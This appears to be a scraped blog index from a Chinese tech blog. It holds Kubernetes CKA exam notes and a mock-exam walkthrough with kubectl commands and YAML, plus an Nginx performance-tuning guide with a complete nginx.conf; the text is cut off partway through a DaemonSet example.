污点的三种效果：\nNoSchedule：不会调度新Pod到该Node PreferNoSchedule：尽量不调度，但不是强制 NoExecute：不仅不调度新Pod，还会驱逐已有的Pod 在Pod中容忍污点：\napiVersion: v1 kind: Pod metadata: name: nginx spec: tolerations: - key: \u0026#34;key\u0026#34; operator: \u0026#34;Equal\u0026#34; value: \u0026#34;value\u0026#34; effect: \u0026#34;NoSchedule\u0026#34; containers: - name: nginx image: nginx 3. Affinity（亲和性） Affinity提供了更灵活的调度规则，支持硬性要求（required）和软性偏好（preferred）：\nNodeAffinity示例：\napiVersion: v1 kind: Pod metadata: name: nginx spec: affinity: nodeAffinity: requiredDuringSchedulingIgnoredDuringExecution: nodeSelectorTerms: - matchExpressions: - key: disktype operator: In values: - ssd - nvme preferredDuringSchedulingIgnoredDuringExecution: - weight: 1 preference: matchExpressions: - key: zone operator: In values: - zone-a containers: - name: nginx image: nginx PodAffinity示例（将相关Pod调度到同一节点）：\napiVersion: v1 kind: Pod metadata: name: web spec: affinity: podAffinity: requiredDuringSchedulingIgnoredDuringExecution: - labelSelector: matchExpressions: - key: app operator: In values: - cache topologyKey: kubernetes.io/hostname containers: - name: web image: nginx 这个配置会将web Pod调度到已经运行了app=cache标签的Pod所在的节点上。\nPod配置要点 在考试中经常需要快速编写Pod YAML，这些是关键字段：\napiVersion: v1 kind: Pod metadata: name: my-app namespace: default labels: app: my-app tier: frontend spec: # 调度相关 nodeSelector: disktype: ssd # 资源限制 containers: - name: app image: nginx:1.21 ports: - containerPort: 80 resources: requests: memory: \u0026#34;128Mi\u0026#34; cpu: \u0026#34;100m\u0026#34; limits: memory: \u0026#34;256Mi\u0026#34; cpu: \u0026#34;200m\u0026#34; # 环境变量 env: - name: ENV_VAR value: \u0026#34;production\u0026#34; # 存储挂载 volumeMounts: - name: data mountPath: /data # 存储卷定义 volumes: - name: data emptyDir: {} # 重启策略 restartPolicy: Always 持久化存储PV/PVC 存储管理是Kubernetes中相对复杂的部分，涉及PV、PVC、StorageClass三个层次的抽象。在我的理解中，这是一个典型的\u0026quot;解耦\u0026quot;设计。\n存储抽象层次 PV（PersistentVolume）：集群级别的存储资源，由管理员创建或通过StorageClass动态创建 PVC（PersistentVolumeClaim）：用户对存储的请求，描述需要的容量和访问模式 StorageClass：存储类，用于动态创建PV的模板 静态PV创建流程 创建PV apiVersion: v1 kind: PersistentVolume metadata: name: pv-data spec: capacity: storage: 10Gi accessModes: - ReadWriteOnce persistentVolumeReclaimPolicy: Retain storageClassName: manual hostPath: path: /data/pv-data 访问模式说明：\nReadWriteOnce (RWO)：单节点读写 ReadOnlyMany (ROX)：多节点只读 ReadWriteMany (RWX)：多节点读写 回收策略：\nRetain：保留数据，需要手动清理 Delete：删除PVC时自动删除PV和底层存储 Recycle：已废弃，不推荐使用 创建PVC apiVersion: v1 kind: PersistentVolumeClaim metadata: name: pvc-data namespace: default spec: accessModes: - ReadWriteOnce resources: requests: storage: 5Gi storageClassName: manual 在Pod中使用PVC apiVersion: v1 kind: Pod metadata: name: app spec: containers: - name: app image: nginx volumeMounts: - name: data mountPath: /usr/share/nginx/html volumes: - name: data persistentVolumeClaim: claimName: pvc-data 动态存储配置 在生产环境中，更常用的是通过StorageClass动态创建PV：\napiVersion: storage.k8s.io/v1 kind: StorageClass metadata: name: fast-storage provisioner: kubernetes.io/aws-ebs parameters: type: gp3 iopsPerGB: \u0026#34;10\u0026#34; 用户创建PVC时指定storageClassName，系统会自动创建对应的PV。\n容量扩展 Kubernetes 1.11+支持在线扩容PVC（前提是StorageClass的allowVolumeExpansion设置为true）：\n# 编辑PVC，修改storage容量 kubectl edit pvc pvc-data # 查看扩容状态 kubectl describe pvc pvc-data 这里需要注意的是，不是所有存储后端都支持在线扩容，hostPath类型就不支持。\n多容器Pod与Sidecar模式 Sidecar模式是Kubernetes中一种常见的设计模式，通过在Pod中运行辅助容器来增强主容器的功能。考试中经常会考察多容器Pod的配置。\nSidecar典型应用场景 日志收集：Sidecar容器收集主容器的日志并发送到日志系统 代理网关：如Service Mesh中的Envoy Sidecar 配置热更新：监听配置变化并通知主容器 数据同步：定期同步外部数据到共享存储 多容器Pod示例 一个带日志收集Sidecar的Pod配置：\napiVersion: v1 kind: Pod metadata: name: app-with-sidecar spec: containers: # 主应用容器 - name: app image: nginx volumeMounts: - name: logs mountPath: /var/log/nginx # Sidecar日志收集容器 - name: log-collector image: busybox command: [\u0026#39;sh\u0026#39;, \u0026#39;-c\u0026#39;, \u0026#39;tail -f /var/log/nginx/access.log\u0026#39;] volumeMounts: - name: logs mountPath: /var/log/nginx # 共享存储卷 volumes: - name: logs emptyDir: {} 从运行中的Pod提取配置 在考试中，如果需要基于已有Pod创建Sidecar配置，可以先导出YAML再编辑：\n# 导出Pod配置 kubectl get pod app -o yaml \u0026gt; app.yaml # 编辑文件，添加Sidecar容器 vim app.yaml # 删除旧Pod并创建新Pod kubectl delete pod app kubectl apply -f app.yaml 这里需要注意删除导出YAML中的status、resourceVersion等运行时字段。\n后 经过CKA考试的备考和实战，我对Kubernetes的理解上了一个台阶。考试本身不难，但它确实是一个很好的学习驱动力，强迫你系统化地掌握Kubernetes的核心概念。\n备考建议 动手实践优先：理论知识要通过实操来巩固，搭建一个本地集群（kubeadm、k3s或minikube都可以）反复练习 熟悉文档结构：考试允许查文档，但你需要知道去哪里查，提前整理好常用页面的书签 时间管理：2小时15-20道题，平均每题6-8分钟，遇到难题先跳过，确保简单题不失分 验证结果：每做完一题都要验证，检查Pod状态、Service Endpoints、日志输出等 核心收获 通过这次学习，我最大的收获不是通过了考试，而是真正理解了Kubernetes的设计哲学：\n通过声明式API和控制器模式，实现了复杂分布式系统的自动化管理。\n这种理念可以应用到很多其他系统的设计中。在后续的Homelab实践中，我会继续深入Kubernetes的网络、存储、安全等高级主题。\n就这样！希望这篇文章能够帮助到正在备考CKA或学习Kubernetes的朋友。\n","date":"2023-04-12T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/04/cka%E8%80%83%E5%90%8E%E6%80%BB%E7%BB%93/","tags":["k8s","CKA"],"title":"CKA考后总结"},{"categories":["OP之路"],"contents":"​\t大多数的Nginx安装指南告诉你如下基础知识——通过apt-get安装，修改这里或那里的几行配置，好了，你已经有了一个Web服务器了！而且，在大多数情况下，一个常规安装的nginx对你的网站来说已经能很好地工作了。然而，如果你真的想挤压出nginx的性能，你必须更深入一些。在本指南中，我将解释Nginx的那些设置可以微调，以优化处理大量客户端时的性能。需要注意一点，这不是一个全面的微调指南。这是一个简单的预览——那些可以通过微调来提高性能设置的概述。你的情况可能不同。\n基本的 (优化过的)配置 我们将修改的唯一文件是nginx.conf，其中包含Nginx不同模块的所有设置。你应该能够在服务器的**/etc/nginx**目录中找到nginx.conf。首先，我们将谈论一些全局设置，然后按文件中的模块挨个来，谈一下哪些设置能够让你在大量客户端访问时拥有良好的性能，为什么它们会提高性能。本文的结尾有一个完整的配置文件。\n高层的配置 nginx.conf文件中，Nginx中有少数的几个高级配置在模块部分之上。\nuser www-data; pid /var/run/nginx.pid; worker_processes auto; worker_rlimit_nofile 100000; user和pid应该按默认设置 - 我们不会更改这些内容，因为更改与否没有什么不同。\nworker_processes 定义了nginx对外提供web服务时的worder进程数。最优值取决于许多因素，包括（但不限于）CPU核的数量、存储数据的硬盘数量及负载模式。不能确定的时候，将其设置为可用的CPU内核数将是一个好的开始（设置为“auto”将尝试自动检测它）。\nworker_rlimit_nofile 更改worker进程的最大打开文件数限制。如果没设置的话，这个值为操作系统的限制。设置后你的操作系统和Nginx可以处理比“ulimit -a”更多的文件，所以把这个值设高，这样nginx就不会有“too many open files”问题了。\nEvents模块 events模块中包含nginx中所有处理连接的设置。\nevents { worker_connections 2048; multi_accept on; use epoll; } worker_connections设置可由一个worker进程同时打开的最大连接数。如果设置了上面提到的worker_rlimit_nofile，我们可以将这个值设得很高。\n记住，最大客户数也由系统的可用socket连接数限制（~ 64K），所以设置不切实际的高没什么好处。\nmulti_accept 告诉nginx收到一个新连接通知后接受尽可能多的连接。\nuse 设置用于复用客户端线程的轮询方法。如果你使用Linux 2.6+，你应该使用epoll。如果你使用*BSD，你应该使用kqueue。想知道更多有关事件轮询？看下维基百科吧（注意，想了解一切的话可能需要neckbeard和操作系统的课程基础）\n（值得注意的是如果你不知道Nginx该使用哪种轮询方法的话，它会选择一个最适合你操作系统的）\nHTTP 模块 HTTP模块控制着nginx http处理的所有核心特性。因为这里只有很少的配置，所以我们只节选配置的一小部分。所有这些设置都应该在http模块中，甚至你不会特别的注意到这段设置。\nhttp { server_tokens off; sendfile on; tcp_nopush on; tcp_nodelay on; ... } server_tokens 并不会让nginx执行的速度更快，但它可以关闭在错误页面中的nginx版本数字，这样对于安全性是有好处的。\nsendfile可以让sendfile()发挥作用。sendfile()可以在磁盘和TCP socket之间互相拷贝数据(或任意两个文件描述符)。Pre-sendfile是传送数据之前在用户空间申请数据缓冲区。之后用read()将数据从文件拷贝到这个缓冲区，write()将缓冲区数据写入网络。sendfile()是立即将数据从磁盘读到OS缓存。因为这种拷贝是在内核完成的，sendfile()要比组合read()和write()以及打开关闭丢弃缓冲更加有效(更多有关于sendfile)\ntcp_nopush 告诉nginx在一个数据包里发送所有头文件，而不一个接一个的发送\ntcp_nodelay 告诉nginx不要缓存数据，而是一段一段的发送\u0026ndash;当需要及时发送数据时，就应该给应用设置这个属性，这样发送一小块数据信息时就不能立即得到返回值。\naccess_log off; error_log /var/log/nginx/error.log crit; access_log设置nginx是否将存储访问日志。关闭这个选项可以让读取磁盘IO操作更快(aka,YOLO)\nerror_log 告诉nginx只能记录严重的错误\nkeepalive_timeout 10; client_header_timeout 10; client_body_timeout 10; reset_timedout_connection on; send_timeout 10; keepalive_timeout 给客户端分配keep-alive链接超时时间。服务器将在这个超时时间过后关闭链接。我们将它设置低些可以让ngnix持续工作的时间更长。\nclient_header_timeout 和client_body_timeout 设置请求头和请求体(各自)的超时时间。我们也可以把这个设置低些。\nreset_timeout_connection告诉nginx关闭不响应的客户端连接。这将会释放那个客户端所占有的内存空间。\nsend_timeout 指定客户端的响应超时时间。这个设置不会用于整个转发器，而是在两次客户端读取操作之间。如果在这段时间内，客户端没有读取任何数据，nginx就会关闭连接。\nlimit_conn_zone $binary_remote_addr zone=addr:5m; limit_conn addr 100; limit_conn_zone设置用于保存各种key（比如当前连接数）的共享内存的参数。5m就是5兆字节，这个值应该被设置的足够大以存储（32K5）32byte状态或者（16K5）64byte状态。\nlimit_conn为给定的key设置最大连接数。这里key是addr，我们设置的值是100，也就是说我们允许每一个IP地址最多同时打开有100个连接。\ninclude /etc/nginx/mime.types; default_type text/html; charset UTF-8; include只是一个在当前文件中包含另一个文件内容的指令。这里我们使用它来加载稍后会用到的一系列的MIME类型。\ndefault_type设置文件使用的默认的MIME-type。\ncharset设置我们的头文件中的默认的字符集\n以下两点对于性能的提升在伟大的WebMasters StackExchange中有解释。\ngzip on; gzip_disable \u0026#34;msie6\u0026#34;; # gzip_static on; gzip_proxied any; gzip_min_length 1000; gzip_comp_level 4; gzip_types text/plain text/css application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript; gzip是告诉nginx采用gzip压缩的形式发送数据。这将会减少我们发送的数据量。\ngzip_disable为指定的客户端禁用gzip功能。我们设置成IE6或者更低版本以使我们的方案能够广泛兼容。\ngzip_static告诉nginx在压缩资源之前，先查找是否有预先gzip处理过的资源。这要求你预先压缩你的文件（在这个例子中被注释掉了），从而允许你使用最高压缩比，这样nginx就不用再压缩这些文件了（想要更详尽的gzip_static的信息，请点击这里）。\ngzip_proxied允许或者禁止压缩基于请求和响应的响应流。我们设置为any，意味着将会压缩所有的请求。\ngzip_min_length设置对数据启用压缩的最少字节数。如果一个请求小于1000字节，我们最好不要压缩它，因为压缩这些小的数据会降低处理此请求的所有进程的速度。\ngzip_comp_level设置数据的压缩等级。这个等级可以是1-9之间的任意数值，9是最慢但是压缩比最大的。我们设置为4，这是一个比较折中的设置。\ngzip_type设置需要压缩的数据格式。上面例子中已经有一些了，你也可以再添加更多的格式。\n# cache informations about file descriptors, frequently accessed files # can boost performance, but you need to test those values open_file_cache max=100000 inactive=20s; open_file_cache_valid 30s; open_file_cache_min_uses 2; open_file_cache_errors on; ## # Virtual Host Configs # aka our settings for specific servers ## include /etc/nginx/conf.d/*.conf; include /etc/nginx/sites-enabled/*; open_file_cache打开缓存的同时也指定了缓存最大数目，以及缓存的时间。我们可以设置一个相对高的最大时间，这样我们可以在它们不活动超过20秒后清除掉。\nopen_file_cache_valid 在open_file_cache中指定检测正确信息的间隔时间。\nopen_file_cache_min_uses 定义了open_file_cache中指令参数不活动时间期间里最小的文件数。\nopen_file_cache_errors指定了当搜索一个文件时是否缓存错误信息，也包括再次给配置中添加文件。我们也包括了服务器模块，这些是在不同文件中定义的。如果你的服务器模块不在这些位置，你就得修改这一行来指定正确的位置。\n一个完整的配置 user www-data; pid /var/run/nginx.pid; worker_processes auto; worker_rlimit_nofile 100000; events { worker_connections 2048; multi_accept on; use epoll; } http { server_tokens off; sendfile on; tcp_nopush on; tcp_nodelay on; access_log off; error_log /var/log/nginx/error.log crit; keepalive_timeout 10; client_header_timeout 10; client_body_timeout 10; reset_timedout_connection on; send_timeout 10; limit_conn_zone $binary_remote_addr zone=addr:5m; limit_conn addr 100; include /etc/nginx/mime.types; default_type text/html; charset UTF-8; gzip on; gzip_disable \u0026#34;msie6\u0026#34;; gzip_proxied any; gzip_min_length 1000; gzip_comp_level 6; gzip_types text/plain text/css application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript; open_file_cache max=100000 inactive=20s; open_file_cache_valid 30s; open_file_cache_min_uses 2; open_file_cache_errors on; include /etc/nginx/conf.d/*.conf; include /etc/nginx/sites-enabled/*; } 编辑完配置后，确认重启nginx使设置生效。\nsudo service nginx restart\n后记 就这样！你的Web服务器现在已经就绪，之前困扰你的众多访问者的问题来吧。这并不是加速网站的唯一途径，很快我会写更多介绍其他加速网站方法的文章的。\n","date":"2023-04-03T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/04/nginx-%E6%88%98%E6%96%97%E5%87%86%E5%A4%87--%E4%BC%98%E5%8C%96%E6%8C%87%E5%8D%97/","tags":["Nginx"],"title":"Nginx 战斗准备--优化指南"},{"categories":["每周分享"],"contents":"【高清-中字-公开课】依据基本原理构建现代计算机：从与非门到俄罗斯方块\nhttps://www.bilibili.com/video/av80737268/?p=8\u0026amp;spm_id_from=pageDriver\u0026amp;vd_source=23ec8ebf8163b439da1a68e49473f679\n","date":"2023-04-01T00:00:00Z","permalink":"https://blogs.12ms.xyz/draft/%E4%BB%8E%E4%B8%8E%E9%9D%9E%E9%97%A8%E5%88%B0%E4%BF%84%E7%BD%97%E6%96%AF%E6%96%B9%E5%9D%97/","tags":["Misc"],"title":"2023[15]"},{"categories":["op之路"],"contents":"CKA 模拟题目的学习，虽然比较难。但是感觉都是值得学习的。\n这里做完一次模拟之后用这篇文章来复习一下模拟题目\n考前技巧 alias k=kubectl # will already be pre-configured export do=\u0026#34;--dry-run=client -o yaml\u0026#34; # k create deploy nginx --image=nginx $do export now=\u0026#34;--force --grace-period 0\u0026#34; # k delete pod x $now vimrc 编辑，\nset tabstop=2 set expandtab set shiftwidth=2 常见的资源缩写\ndeploy ds sts sa 正题 Q1 获取当前拥有哪些kube的环境。这个基本是送分题。第二个猪一下sed 的用法。****\nkubectl config get-contexts -o name \u0026gt; /opt/course/1/contexts cat ~/.kube/config | grep current | sed -e \u0026#34;s/current-context: //\u0026#34; Q2 Create a single Pod of image httpd:2.4.41-alpine in Namespace default. The Pod should be named pod1 and the container should be named pod1-container. This Pod should only be scheduled on a controlplane node, do not add new labels any nodes.\n创建一个图像httpd的单个吊舱：2.4.41-Alpine在名称空间默认情况下。 POD应命名为POD1，并且该容器应命名为POD1-container。 该吊舱只能安排在控制平面节点上，请勿添加新标签任何节点。\n这里就使用了节点选择器的知识了，使用 node selector，以及 tolerate。一个是选择节点，还有一个是容忍节点上的污点，用下面的代码来查看节点的信息。得到 其label 进行 select 以及 污点，来进行容忍。\nk get node # find controlplane node k describe node cluster1-controlplane1 | grep Taint -A1 # get controlplane node taints k get node cluster1-controlplane1 --show-labels # get controlplane node labels 使用下面的命令进行pod来dry run，得到基础的yaml 文件来进行删减，在yaml 里面添加下面的 容忍度和节点选择。\nk run pod1 --image=httpd:2.4.41-alpine $do \u0026gt; 2.yaml ## tolerations: # add - effect: NoSchedule # add key: node-role.kubernetes.io/control-plane # add nodeSelector: # add node-role.kubernetes.io/control-plane: \u0026#34;\u0026#34; # add 拓展 为 node1 设置 taint：\nkubectl taint nodes node1 key1=value1:NoSchedule kubectl taint nodes node1 key1=value1:NoExecute kubectl taint nodes node1 key2=value2:NoSchedule 删除上面的 taint：\nkubectl taint nodes node1 key1:NoSchedule- kubectl taint nodes node1 key1:NoExecute- kubectl taint nodes node1 key2:NoSchedule- 查看 node1 上的 taint：\nkubectl describe nodes node1 effect 控制着 副作用的行为有\nNoExecute NoSchedule PreferNoSchedule 如果在给节点添加上述污点之前，该 Pod 已经在上述节点运行， 那么它还可以继续运行在该节点上\n如果给一个节点添加了一个 effect 值为 NoExecute 的污点， 则任何不能忍受这个污点的 Pod 都会马上被驱逐，任何可以忍受这个污点的 Pod 都不会被驱逐。 但是，如果 Pod 存在一个 effect 值为 NoExecute 的容忍度指定了可选属性 tolerationSeconds 的值，则表示在给节点添加了上述污点之后， Pod 还能继续在节点上运行的时间。例如，\nQ3 Use context: kubectl config use-context k8s-c1-H\nThere are two Pods named o3db-* in Namespace project-c13. C13 management asked you to scale the Pods down to one replica to save resources.\n查看POD 情况可以看到末尾的有序命名，那么可以看到是使用 stateful set 来进行管理的。\n➜ k -n project-c13 get pod | grep o3db o3db-0 1/1 Running 0 52s o3db-1 1/1 Running 0 42s 之后列出全部的工作负载，可以找到o3 是一个 statefulset\n➜ k -n project-c13 get deploy,ds,sts | grep o3db statefulset.apps/o3db 2/2 2m56s 之后直接进行Scale 就可以了\n➜ k -n project-c13 scale sts o3db --replicas 1 statefulset.apps/o3db scaled ➜ k -n project-c13 get sts o3db NAME READY AGE o3db 1/1 4m39s Q4 Do the following in Namespace default. Create a single Pod named ready-if-service-ready of image nginx:1.16.1-alpine. Configure a LivenessProbe which simply executes command true. Also configure a ReadinessProbe which does check if the url http://service-am-i-ready:80 is reachable, you can use wget -T2 -O- http://service-am-i-ready:80 for this. Start the Pod and confirm it isn\u0026rsquo;t ready because of the ReadinessProbe.\nCreate a second Pod named am-i-ready of image nginx:1.16.1-alpine with label id: cross-server-ready. The already existing Service service-am-i-ready should now have that second Pod as endpoint.\nNow the first Pod should be in ready state, confirm that.\n这个是考的POD 的几个探针的功能。按照题目要求配置 liveness 和 readiness 的探针\nlivenessProbe: # add from here exec: command: - \u0026#39;true\u0026#39; readinessProbe: exec: command: - sh - -c - \u0026#39;wget -T2 -O- http://service-am-i-ready:80\u0026#39; # to here 因为svc是已经创建了，所以就可以直接手动的 run 一个pod 带上 label 就可以了。\nk run am-i-ready --image=nginx:1.16.1-alpine --labels=\u0026#34;id=cross-server-ready\u0026#34; 拓展 这里记录下 两种探针的区别\nLivenessProbe（存活探针）： 存活探针主要作用是，用指定的方式进入容器检测容器中的应用是否正常运行，如果检测失败，则认为容器不健康，那么 Kubelet 将根据 Pod 中设置的 restartPolicy （重启策略）来判断，Pod 是否要进行重启操作，如果容器配置中没有配置 livenessProbe 存活探针，Kubelet 将认为存活探针探测一直为成功状态。 ReadinessProbe（就绪探针）： 用于判断容器中应用是否启动完成，当探测成功后才使 Pod 对外提供网络访问，设置容器 Ready 状态为 true，如果探测失败，则设置容器的 Ready 状态为 false。对于被 Service 管理的 Pod，Service 与 Pod、EndPoint 的关联关系也将基于 Pod 是否为 Ready 状态进行设置，如果 Pod 运行过程中 Ready 状态变为 false，则系统自动从 Service 关联的 EndPoint 列表中移除，如果 Pod 恢复为 Ready 状态。将再会被加回 Endpoint 列表。通过这种机制就能防止将流量转发到不可用的 Pod 上。 探针支持下面的集中探测方式：\nExecAction 执行命令成功即成功 HttpGet 发送http请求，成功就成功 TcpSocketAction 发起TCP建连成功就成功 对于探测失败两种探针也有不同的动作，ReadinessProbe 和 LivenessProbe 是使用相同探测的方式，只是探测后对 Pod 的处置方式不同：\nReadinessProbe： 当检测失败后，将 Pod 的 IP:Port 从对应 Service 关联的 EndPoint 地址列表中删除。 LivenessProbe： 当检测失败后将杀死容器，并根据 Pod 的重启策略来决定作出对应的措施。 Q5 Question 5 | Kubectl sorting There are various Pods in all namespaces. Write a command into /opt/course/5/find_pods.sh which lists all Pods sorted by their AGE (metadata.creationTimestamp).\nWrite a second command into /opt/course/5/find_pods_uid.sh which lists all Pods sorted by field metadata.uid. Use kubectl sorting for both commands.\n简单的命令使用的考察，在sort by 里面使用正确的列就可以了\nkubectl get pod -A --sort-by=.metadata.creationTimestamp kubectl get pod -A --sort-by=.metadata.uid Question 6 | Storage, PV, PVC, Pod volume Create a new PersistentVolume named safari-pv. It should have a capacity of 2Gi, accessMode ReadWriteOnce, hostPath /Volumes/Data and no storageClassName defined.\nNext create a new PersistentVolumeClaim in Namespace project-tiger named safari-pvc . It should request 2Gi storage, accessMode ReadWriteOnce and should not define a storageClassName. The PVC should bound to the PV correctly.\nFinally create a new Deployment safari in Namespace project-tiger which mounts that volume at /tmp/safari-data. The Pods of that Deployment should be of image httpd:2.4.41-alpine.\n考察基础的pv和pvc 的创建知识，虽然知道怎么搞出来，但是yaml的模板获取只能到doc中去。考试浏览器的体验不怎样。复制粘贴比较耗时。\n# 6_pv.yaml kind: PersistentVolume apiVersion: v1 metadata: name: safari-pv spec: capacity: storage: 2Gi accessModes: - ReadWriteOnce hostPath: path: \u0026#34;/Volumes/Data\u0026#34; # 6_pvc.yaml kind: PersistentVolumeClaim apiVersion: v1 metadata: name: safari-pvc namespace: project-tiger spec: accessModes: - ReadWriteOnce resources: requests: storage: 2Gi 使用命令来生成deploy的模板。\nk -n project-tiger create deploy safari \\ --image=httpd:2.4.41-alpine $do \u0026gt; 6_dep.yaml 在spec 部分来实现volume的挂载\nspec: volumes: # add - name: data # add persistentVolumeClaim: # add claimName: safari-pvc # add containers: - image: httpd:2.4.41-alpine name: container volumeMounts: # add - name: data # add mountPath: /tmp/safari-data # add 之后describe 可以查看volume的挂载情况\n➜ k -n project-tiger describe pod safari-5cbf46d6d-mjhsb | grep -A2 Mounts: Mounts: /tmp/safari-data from data (rw) # there it is /var/run/secrets/kubernetes.io/serviceaccount from default-token-n2sjj (ro) Question 7 | Node and Pod Resource Usage The metrics-server has been installed in the cluster. Your college would like to know the kubectl commands to: show Nodes resource usage show Pods and their containers resource usage Please write the commands into /opt/course/7/node.sh and /opt/course/7/pod.sh. 这个是个送分题，最多再加一个 sort by\nkubectl top node # 下面这个展示pod内每个容器的，需要加一个参数 kubectl top pod --containers=true Question 8 | Get Controlplane Information Ssh into the controlplane node with ssh cluster1-controlplane1. Check how the controlplane components kubelet, kube-apiserver, kube-scheduler, kube-controller-manager and etcd are started/installed on the controlplane node. Also find out the name of the DNS application and how it\u0026rsquo;s started/installed on the controlplane node.\nWrite your findings into file /opt/course/8/controlplane-components.txt. The file should be structured like:\n# /opt/course/8/controlplane-components.txt kubelet: [TYPE] kube-apiserver: [TYPE] kube-scheduler: [TYPE] kube-controller-manager: [TYPE] etcd: [TYPE] dns: [TYPE] [NAME] Choices of [TYPE] are: not-installed, process, static-pod, pod\n检查哥哥组件的安装方式，这个没做出来。不知道该用何种形式查看。解析中的流程如下：\n先查看每个进程，看看是否是已经安装的。 直接 ps aux 加上 grep来看。\n之后find /etc/systemd/system 查看是否注册 service\n➜ root@cluster1-controlplane1:~# find /etc/systemd/system/ | grep kube ➜ root@cluster1-controlplane1:~# find /etc/systemd/system/ | grep etcd 之后可以查看kube的清单文件（默认安装的资源文件），这里看到的都是节点上部署的staticpod。\nfind /etc/kubernetes/manifests/ 通过下面的拓展知识可以知道，static-pod 有固定的命名方式，可以通过节目的的命名来找到。\nkubectl -n kube-system get pod -o wide | grep controlplane1 拓展 静态 Pod 或者说 static-pod 是指的是在指定的节点上由 kubelet 守护进程直接管理，不需要 API 服务器监管。 与由控制面管理的 Pod（例如，Deployment） 不同；kubelet 监视每个静态 Pod（在它失败之后重新启动）。\n直接使用 kubectl 是无法进行节点的控制的，但是资源是可见的。Pod 名称将把以连字符开头的节点主机名作为后缀。\n用于在指定的节点上运行一个指定的服务。当然如果是需要全部节点都部署的话那就需要使用到 daemonset。\nQuestion 9 | Kill Scheduler, Manual Scheduling Ssh into the controlplane node with ssh cluster2-controlplane1. Temporarily stop the kube-scheduler, this means in a way that you can start it again afterwards.\nCreate a single Pod named manual-schedule of image httpd:2.4-alpine, confirm it\u0026rsquo;s created but not scheduled on any node.\nNow you\u0026rsquo;re the scheduler and have all its power, manually schedule that Pod on node cluster2-controlplane1. Make sure it\u0026rsquo;s running.\nStart the kube-scheduler again and confirm it\u0026rsquo;s running correctly by creating a second Pod named manual-schedule2 of image httpd:2.4-alpine and check if it\u0026rsquo;s running on cluster2-node1.\n这里就比较难了，第一步是确定scheduler 的部署方式， 使用上面提到的 static的方式找到 scheduler， 之后吧他的manifestfile 移除目录。这样scheduler 就没有了。temporarily killed。\n手动调度这里就比较高级了。记录下官方的操作方法。\nk run manual-schedule --image=httpd:2.4-alpine # 可以看到pod是pending的状态，没有被调度。 k get pod manual-schedule -o wide NAME READY STATUS ... NODE NOMINATED NODE manual-schedule 0/1 Pending ... \u0026lt;none\u0026gt; \u0026lt;none\u0026gt; 没有scheduler之后，pod 就不会被进行调度。进行手动调度的方式很简单。获取yaml文件之后。\nk get pod manual-schedule -o yaml \u0026gt; 9.yaml 手动的设置他的当前的nodeName。强制的指定他当前的运行node即可完成手动的调度。\n下面应用官方的解释，scheduler的目的就是设置 nodename 字段。但是实际上考虑了非常多的变量。\n调度程序唯一要做的是它为POD声明设置了名称。 它如何找到可以安排的正确节点，这是一个非常复杂的问题，并考虑了许多变量。\n# 9.yaml apiVersion: v1 kind: Pod metadata: creationTimestamp: \u0026#34;2020-09-04T15:51:02Z\u0026#34; labels: run: manual-schedule managedFields: ... manager: kubectl-run operation: Update time: \u0026#34;2020-09-04T15:51:02Z\u0026#34; name: manual-schedule namespace: default resourceVersion: \u0026#34;3515\u0026#34; selfLink: /api/v1/namespaces/default/pods/manual-schedule uid: 8e9d2532-4779-4e63-b5af-feb82c74a935 spec: nodeName: cluster2-controlplane1 # add the controlplane node name containers: - image: httpd:2.4-alpine imagePullPolicy: IfNotPresent name: manual-schedule resources: {} terminationMessagePath: /dev/termination-log terminationMessagePolicy: File volumeMounts: - mountPath: /var/run/secrets/kubernetes.io/serviceaccount name: default-token-nxnc7 readOnly: true dnsPolicy: ClusterFirst ... 之后直接使用命令，replace 掉资源即可完成手动的调度。\nk -f 9.yaml replace --force 之后，恢复manifest 文件，恢复 scheduler 的启动。\nQuestion 10 | RBAC ServiceAccount Role RoleBinding Create a new ServiceAccount processor in Namespace project-hamster. Create a Role and RoleBinding, both named processor as well. These should allow the new SA to only create Secrets and ConfigMaps in that Namespace.\n这个比较简单是一个RBAC 的问题。理解role binding 以及 account的关系就可以。\nClusterRole|Role 定义了一组权限及其可用位置，是在整个集群中还是在单个命名空间中。 ClusterRoleBinding|RoleBinding 将一组权限与一个帐户连接起来，并定义它的应用位置，是在整个集群中还是在单个命名空间中。\n因此，有 4 种不同的 RBAC 组合和 3 种有效组合：\nRole + RoleBinding（单Namespace可用，单Namespace应用） ClusterRole + ClusterRoleBinding（全集群可用，全集群应用） ClusterRole + RoleBinding（在集群范围内可用，应用于单个命名空间） Role + ClusterRoleBinding（不可能：在单个命名空间中可用，在集群范围内应用） 这里记录下创建的过程\n➜ k -n project-hamster create sa processor # 查看role 的help k -n project-hamster create role -h # 根据help 来授权动词和资源。 k -n project-hamster create role processor \\ --verb=create \\ --resource=secret \\ --resource=configmap 如果写yaml 文件的话内容如下\napiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: name: processor namespace: project-hamster rules: - apiGroups: - \u0026#34;\u0026#34; resources: - secrets - configmaps verbs: - create 之后创建rolebinding，来绑定 sa 和 role\nk -n project-hamster create rolebinding processor \\ --role processor \\ --serviceaccount project-hamster:processor 这里学到了一个技巧，可以使用 auth 来测试自己的sa 权限。可以测试自己的权限。\nk auth can-i -h # examples ➜ k -n project-hamster auth can-i create secret \\ --as system:serviceaccount:project-hamster:processor yes ➜ k -n project-hamster auth can-i create configmap \\ --as system:serviceaccount:project-hamster:processor yes ➜ k -n project-hamster auth can-i create pod \\ --as system:serviceaccount:project-hamster:processor no ➜ k -n project-hamster auth can-i delete secret \\ --as system:serviceaccount:project-hamster:processor no ➜ k -n project-hamster auth can-i get configmap \\ --as system:serviceaccount:project-hamster:processor no Question 11 | DaemonSet on all Nodes Use Namespace project-tiger for the following. Create a DaemonSet named ds-important with image httpd:2.4-alpine and labels id=ds-important and uuid=18426a0b-5f59-4e10-923f-c0e078e82462. The Pods it creates should request 10 millicore cpu and 10 mebibyte memory. The Pods of that DaemonSet should run on all nodes, also controlplanes.\n创建一个daemonset ，需要带id的标签，可以直接使用dry run 来生成配置\nk -n project-tiger create deployment --image=httpd:2.4-alpine ds-important $do \u0026gt; 11.yaml 这里直接贴yaml 的配置了，里面有些常用字段还是要记忆一下。\n# 11.yaml apiVersion: apps/v1 kind: DaemonSet # change from Deployment to Daemonset metadata: creationTimestamp: null labels: # add id: ds-important # add uuid: 18426a0b-5f59-4e10-923f-c0e078e82462 # add name: ds-important namespace: project-tiger # important spec: #replicas: 1 # remove selector: matchLabels: id: ds-important # add uuid: 